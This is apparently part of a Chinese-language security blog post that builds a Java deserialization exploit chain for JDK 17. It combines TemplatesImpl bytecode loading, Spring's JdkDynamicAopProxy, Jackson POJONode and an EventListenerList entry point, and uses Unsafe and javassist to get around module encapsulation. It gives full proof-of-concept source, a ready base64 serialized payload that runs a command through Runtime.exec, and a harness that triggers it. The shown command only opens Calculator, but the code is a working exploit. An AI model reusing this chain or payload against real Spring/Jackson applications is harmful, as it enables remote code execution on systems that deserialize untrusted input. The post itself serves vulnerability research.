import java.util.HashMap;
import java.util.Hashtable;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.xml.transform.Templates;
public class Main {
public static void main(String[] args) throws Exception {
patchModule(Main.class);
//part1
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();
//part2
CtClass cc1 = classPool.makeClass("Evil1");
cc1.makeClassInitializer().insertBefore(cmd);
byte[] classBytes1 = cc1.toBytecode();
byte[][] code = new byte[][]{classBytes,classBytes1};
//main
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object impl = getObject(clazz);
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl,"_transletIndex",0);//0或者1都可以
//修改类方法
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
ctClass.removeMethod(ctClass.getDeclaredMethod("writeReplace"));
//设置代理
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(impl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
Object proxyAop = constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler) proxyAop);
POJONode node = new POJONode(proxy);
// System.out.println("POJONode的:"+node.getClass().getModule());
// System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());
//获取XString类实例
Class clazz123 = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor constructor123 = clazz123.getConstructor(String.class);
constructor123.setAccessible(true);
Object xString = constructor123.newInstance("fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",xString);
hashMap0.put("yy",node);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",node);
hashMap1.put("yy",xString);
hash.put(hashMap0,"1");
hash.put(hashMap1,"2");
}
private static void patchModule(Class clazz) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
Module targetModule = Object.class.getModule();
unsafe.getAndSetObject(clazz, offset,targetModule);
}
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getObject(Class clazz) throws Exception{
Constructor constructor = clazz.getConstructor();
constructor.setAccessible(true);
Object impl = constructor.newInstance();
return impl;
}
}
运行成功弹出计算机,并且再次调试情况如下:

代理类这些都是正常的可以使用的,故这里不会触发模块化机制报错退出。
最后在JdkDynamicAopProxy类的invoke()方法从而成功调用到要invokeJoinpointUsingReflection()方法:

这里有个ReflectionUtils.makeAccessible(method)值得注意:

所以其实这里的调用就是相当于TemplatesImpl.getOutputProperties(),这个是可以直接调用不会触发强封装机制。
但是后面在尝试构造最后的poc时,序列化总是有问题,后面看调用栈才发现是修改类方法时自己忘了toClass(),所以可以构造如下:
//修改类方法
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
ctClass.removeMethod(ctClass.getDeclaredMethod("writeReplace"));
ctClass.toClass();
但是还是报错如下:
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @673bfdf3
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)
at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213)
at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52)
at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
at javassist.ClassPool.toClass(ClassPool.java:1240)
at javassist.ClassPool.toClass(ClassPool.java:1098)
at javassist.ClassPool.toClass(ClassPool.java:1056)
at javassist.CtClass.toClass(CtClass.java:1298)
at Main.main(Main.java:47)
可以看到还是因为模块化的原因,toClass()中调用的位于java.lang包下的defineClass方法没有对外开放,导致这里不能成功,但是我们又不能像正常的反射那样修改CtMethod,根本就没有类似setAccessible()的代码构造,但是还可以添加vm配置,通过--add-opens来允许java.lang包开放给未命名的包,这样就可以正常toClass()了,故如下添加即可:

添加如下内容:
--add-opens=java.base/java.lang=ALL-UNNAMED

为了方便只在反序列化时弹出计算机,将反序列化的入口类改成了EventListenerList类,最后的poc如下:
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Vector;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
public class Main {
public static void main(String[] args) throws Exception {
patchModule(Main.class);
//part1
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();
//part2
CtClass cc1 = classPool.makeClass("Evil1");
cc1.makeClassInitializer().insertBefore(cmd);
byte[] classBytes1 = cc1.toBytecode();
byte[][] code = new byte[][]{classBytes,classBytes1};
//main
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object impl = getObject(clazz);
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl,"_transletIndex",0);//0或者1都可以
//修改类方法
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass(Main.class.getClassLoader(), null);
//设置代理
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(impl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
Object proxyAop = constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler) proxyAop);
POJONode node = new POJONode(proxy);
// System.out.println("POJONode的:"+node.getClass().getModule());
// System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());
UndoManager undo = new UndoManager();
Object[] x = new Object[]{String.class, undo};
EventListenerList listenerList = new EventListenerList();
setFieldValue(listenerList, "listenerList", x);
Vector vector = (Vector) getFieldValue(undo, "edits");
vector.add(node);
ByteArrayOutputStream bais = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bais);
out.writeObject(listenerList);
out.close();
System.out.println(Base64.getEncoder().encodeToString(bais.toByteArray()));
}
private static void patchModule(Class clazz) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
Module targetModule = Object.class.getModule();
unsafe.getAndSetObject(clazz, offset,targetModule);
}
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getObject(Class clazz) throws Exception{
Constructor constructor = clazz.getConstructor();
constructor.setAccessible(true);
Object impl = constructor.newInstance();
return impl;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
然后将运行生成的payload拿去反序列化:
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
String base64Payload = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0ABBqYXZhLmxhbmcuU3RyaW5nc3IAHGphdmF4LnN3aW5nLnVuZG8uVW5kb01hbmFnZXLxfp8dCCrCHQIAAkkADmluZGV4T2ZOZXh0QWRkSQAFbGltaXR4cgAdamF2YXguc3dpbmcudW5kby5Db21wb3VuZEVkaXSlnlC6U9uV/QIAAloACmluUHJvZ3Jlc3NMAAVlZGl0c3QAEkxqYXZhL3V0aWwvVmVjdG9yO3hyACVqYXZheC5zd2luZy51bmRvLkFic3RyYWN0VW5kb2FibGVFZGl0CA0bju0CCxACAAJaAAVhbGl2ZVoAC2hhc0JlZW5Eb25leHABAQFzcgAQamF2YS51dGlsLlZlY3RvctmXfVuAO68BAwADSQARY2FwYWNpdHlJbmNyZW1lbnRJAAxlbGVtZW50Q291bnRbAAtlbGVtZW50RGF0YXQAE1tMamF2YS9sYW5nL09iamVjdDt4cAAAAAAAAAABdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAZHNyACxjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5QT0pPTm9kZQAAAAAAAAACAgABTAAGX3ZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAcTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACIAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ADnhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AGEwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAFgyv66vgAAADcAGQEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEABjxpbml0PgwAFgAICgAEABcAIQACAAQAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAWAAgAAQAJAAAAEQABAAEAAAAFKrcAGLEAAAAAAAEABQAAAAIABnVxAH4ALgAAAWLK/rq+AAAANwAZAQAFRXZpbDEHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACkV2aWwxLmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAAY8aW5pdD4MABYACAoABAAXACEAAgAEAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAFgAIAAEACQAAABEAAQABAAAABSq3ABixAAAAAAABAAUAAAACAAZwdAAGZnVwYW5jcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAN2cgAjb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuU3ByaW5nUHJveHkAAAAAAAAAAAAAAHhwdnIAKW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkAAAAAAAAAAAAAAB4cHZyAChvcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuRGVjb3JhdGluZ1Byb3h5AAAAAAAAAAAAAAB4cHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4" ;
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64Payload)));
oos.readObject();
oos.close();
}
}
成功弹出计算机:

————————
这样的话应该还可以在jdk17下打fastjson的链子,但是都是需要在spring环境下。
总结
- 了解到了TemplatesImpl下的动态加载字节码的新思路(虽然可能已经比较早提出了)
- 动态代理的利用还值得挖掘(可惜环境有限制)。
其实这里分析是带着答案找问题,将链子的过程中的坑点给填了,学到了很多,如有问题欢迎指正。
参考文章:
https://docs.oracle.com/en/java/javase/17/docs/api/java.xml/module-summary.html
https://blog.csdn.net/weixin_37646636/article/details/120530053